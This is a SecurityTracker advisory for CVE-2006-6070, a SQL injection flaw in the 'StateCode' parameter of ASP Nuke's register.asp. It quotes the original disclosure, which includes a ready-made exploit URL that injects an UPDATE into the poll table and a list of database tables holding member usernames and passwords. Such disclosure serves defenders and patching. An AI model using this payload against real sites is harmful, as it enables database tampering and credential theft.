SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   ASP Nuke Vendors:   aspnuke.com
ASP Nuke Input Validation Flaw in 'register.asp' Lets Remote Users Inject SQL Commands
SecurityTracker Alert ID:  1017255
SecurityTracker URL:  http://securitytracker.com/id/1017255
CVE Reference:   CVE-2006-6070   (Links to External Site)
Updated:  May 27 2008
Original Entry Date:  Nov 20 2006
Impact:   Disclosure of system information, Disclosure of user information, User access via network
Exploit Included:  Yes  
Version(s): 0.80 and prior versions
Description:   A vulnerability was reported in ASP Nuke. A remote user can inject SQL commands.

The 'register.asp' script does not properly validate user-supplied input in the 'StateCode' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.

A demonstration exploit is of the following form:

http://[target]/[path]/module/account/register/register.asp?StateCode=[SQL]&..&..&..&..&..&..&..&..&....

A demonstration exploit URL is provided:

/module/account/register/register.asp?StateCode=0',0,0,0,0,0);update%20tblPoll%20set%20Question%20=
%20'hacked'--&FirstName=namename1&LastName=namename2&Username=abcdefghijk&Password=1234567890&Confirm=
1234567890&Address1=kro.mahallesi&Address2=kro.apt&City=aaaaaaaaa&ZipCode=101010101&CountryID=0&Email=
mailmail@mailbidaamail.com&Action=ADD&_dummy=Register

ajann reported this vulnerability.

Impact:   A remote user can execute SQL commands on the underlying database.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.aspnuke.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability

*******************************************************************************
# Title  :  ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
# Author :  ajann
# S.Page :  http://www.aspnuke.com
# D.Page :  http://sourceforge.net/project/showfiles.php?group_id=92470 

*******************************************************************************

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ASP Nuke
Kenneth W. Richards
Orvado Technologies 
-Introduction-

ASP Nuke is an open-source software application for running a community-based web site on a web server. 
By open-source, we mean the code is freely available for others to read, modify and use in accordance 
with the software license.
ASP Nuke is an extensible framework that allows you to upgrade and add applications to the website quickly 
and easily. It uses a modular architecture allowing others to rapidly develop new modules and site operators 
to re-organize the layout and navigation for their site. 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerability::
_________________

###http://[target]/[path]//module/account/register/register.asp?StateCode=[SQL]&..&..&..&..&..&..&..&..&....

Example = Poll Update

///module/account/register/register.asp?StateCode=0',0,0,0,0,0);update%20tblPoll%20set%20Question%20=%20'hacked'--&FirstName=namename1&LastName=namename2&Username=abcdefghijk&Password=1234567890&Confirm=1234567890&Address1=kro.mahallesi&Address2=k
ro.apt&City=aaaaaaaaa&ZipCode=101010101&CountryID=0&Email=mailmail@mailbidaamail.com&Action=ADD&_dummy=Register

Note: Change UserName because ; failed:already username dont write.

Some tables,columns
___________________

[tblMember]    |  [FaqQuestion]
MemberID       |  QuestionID
Username       |  DocumentID
Password       |  Question
Firstname      |  Answer
Middlename     |  Active
EmailAddress   |  OrderNo
..             |  ..


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC